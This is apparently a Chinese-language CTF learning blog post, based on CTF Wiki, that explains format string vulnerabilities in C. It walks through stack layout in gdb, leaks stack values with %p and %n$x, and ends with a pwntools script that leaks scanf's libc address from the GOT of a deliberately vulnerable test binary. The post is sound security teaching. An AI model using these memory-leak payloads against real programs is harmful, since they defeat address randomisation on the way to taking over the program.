本文系原創,轉載請說明出處函數
本文爲基於CTF WIKI的PWN學習佈局
0x00 格式化字符串原理學習
先附一張經典的圖,以下測試
其棧上佈局以下:spa
some value |
3.14 |
123456 |
addr of "red" |
addr of format string : " Color %s, Number %d, Float %4.2f" |
若是程序寫成了:調試
printf("Color %s, Number %d, Float %4.2f");
分別將棧上的三個變量分別解析爲:code
咱們編寫程序驗證如下:orm
#include <stdio.h> int main() { printf("Color %s, Number %d, Float %4.2f", 「red」, 123456, 3.14); printf("Color %s, Number %d, Float %4.2f"); return 0; }
輸入如下命令編譯(記得安裝libc6-dev-i386庫):blog
gcc -m32 -fno-stack-protector -no-pie -o leakmemory 1.c
運行結果內存
gdb調試一下:
b printf後輸入r運行
能夠看到在第一個printf的運行中,stack的參數正如上文所說,先是格式化字符串,再是123456(的16進制),最後是3.14
繼續調試至第二個printf(一直按n)
stack中咱們發現,首先入棧的依舊是格式化字符串,可是上面三個參數再也不是以前的那幾個了。按照原理,第二次輸出的應該是0xffffcfb4及以後的兩個內存對應的內容。下面咱們來細緻討論。
0x01 漏洞利用
利用格式化字符串漏洞,咱們還能夠獲取咱們所想要輸出的內容。通常會有以下幾種操做
1、泄露內存
(1)獲取棧變量數值
這裏使用ctf wiki上面的例子:
#include <stdio.h> int main() { char s[100]; int a = 1, b = 0x22222222, c = -1; scanf("%s", s); printf("%08x.%08x.%08x.%s\n", a, b, c, s); printf(s); return 0; }
編譯運行調試
調試:
直接轉載(copy)了:能夠看出,此時此時已經進入了 printf 函數中,棧中第一個變量爲返回地址,第二個變量爲格式化字符串的地址,第三個變量爲 a 的值,第四個變量爲 b 的值,第五個變量爲 c 的值,第六個變量爲咱們輸入的格式化字符串對應的地址。繼續運行程序,按c
將會把上圖中0xffffcf44及其後面兩個地址包含的內容輸出輸出:
並非每次獲得的結果都同樣 ,棧上的數據會由於每次分配的內存頁不一樣而有所不一樣,這是由於棧是不對內存頁作初始化的。這能夠從我上面的幾個截圖結果看出來。
(2)獲取棧指定變量值
可使用%n$x得到棧上第n+1個參數,格式化字符串是第一個參數,那麼若是想得到printf的第n個參數,就須要加1.
如,我想得到第三個參數值f7e946bb,那麼我就輸入%3$x
(3)獲取對應字符串:%s
(4)獲取數據:%p
2、獲取任意地址內存
上面的泄露並不強力,比賽中常常須要泄露某一個 libc 函數的 got 表內容,從而獲得其地址,進而獲取 libc 版本以及其餘函數的地址,這時候,可以徹底控制泄露某個指定地址的內存就顯得很重要了。
這裏咱們再看一遍源程序代碼:
#include <stdio.h> int main() { char s[100]; int a = 1, b = 0x22222222, c = -1; scanf("%s", s); printf("%08x.%08x.%08x.%s\n", a, b, c, s); printf(s); return 0; }
scanf接收入s的值,而後兩個printf。這裏咱們輸入%s,以下調試,打印出0xff007325, 就是%s對應的字符串值,因此,輸出函數的棧分佈,棧上的第一個參數就是格式化字符串的地址。
這就意味着格式化字符串內容可控,同時,還須要注意的是,第一個參數雖然放置的是格式化字符串的地址,可是,輸出函數並無在這裏開始調用,你也能夠從上圖中看到,在0xffffcf50處,又有一個%s,這裏纔是調用格式化字符串的時候,輸出格式化字符串表達的內容時刻。這就意味着,由於格式化字符串咱們能夠本身控制,那麼,若是我格式化字符串裏面包含了%s,它會輸出%s對應地址(0xff007325)所包含的內容,若是包含scanf@got, 它會輸出scanf@got對應地址包含的內容,也就是scanf的真實地址。
總結:一、格式化字符串能夠按照本身的意願輸入。二、格式化字符串的地址爲棧上的第一個參數,順序以後的某個位置會調用這個格式化字符串,以格式化字符串的內容輸出內容。
因此,咱們只要知道,調用這個格式化字符串的位置就能夠了。
根據CTF WIKI上的說明方案,咱們可使用下面的字符來肯定格式化字符串在哪調用:
[tag]%p%p%p%p%p%p...
若是輸出棧的內容與咱們前面的 tag 重複了,那麼咱們就能夠有很大把握說明該地址就是格式化字符串的地址,之因此說是有很大把握,這是由於不排除棧上有一些臨時變量也是該數值(0x41414141)。如:
AAAA 0XFFD2RC30 0XC2 0XF7E596BB 0X41414141 0X702570250
咱們調試看一下:
我輸入的是AAAA加上8個%p
你會看到,AAAA後面依次輸出8個內容,
第一個輸出AAAA,這原本就是字符,做爲一個標誌顯示出來罷了。而後日後,%p開始做用,依次是0xffffcfa0(能夠看到格式化字符串爲第一個參數,%p從格式字符串下一個開始),0xc2, 0xf7e946bb這些都是跟着格式化字符串後面的參數,以後,便打印出來0xffffcfa0地址對應的內容,即字符串。也就是說,其相對printf函數,爲第5個參數(第五行),可是相對格式化字符串(第一行),是第四個參數。那麼既然是第四個參數,咱們使用%4$s看看測試一下。
而後你會發現core dump:
爲啥?調試。
首先,%4$s對應的存放地址爲0xffffcfa0, 咱們查看內存發現存着的是0x73243425, 再看看0x73243425放着什麼,啥都沒有,那確定崩潰。
咱們輸入%4$s是0x73243425, 咱們輸入%5$s是0x732434525,................
那就是說,咱們肯定了參數爲第幾個後,在tag處輸入想要得到的內容的地址,那麼,輸出的將是輸入的地址對應的內容。
而後使用CTF wiki上payload改改就能夠實現獲取scanf的地址:
from pwn import * sh = process('./leakmemory') leakmemory = ELF('./leakmemory') __isoc99_scanf_got = leakmemory.got['__isoc99_scanf'] #獲取got地址 print hex(__isoc99_scanf_got) payload = p32(__isoc99_scanf_got) + '%4$s' #想要輸出的地址加上肯定好的參數位置 print payload sh.sendline(payload) sh.recvuntil('%4$s\n') print hex(u32(sh.recv()[4:8])) # 去掉 __isoc99_scanf@got的地址 sh.interactive()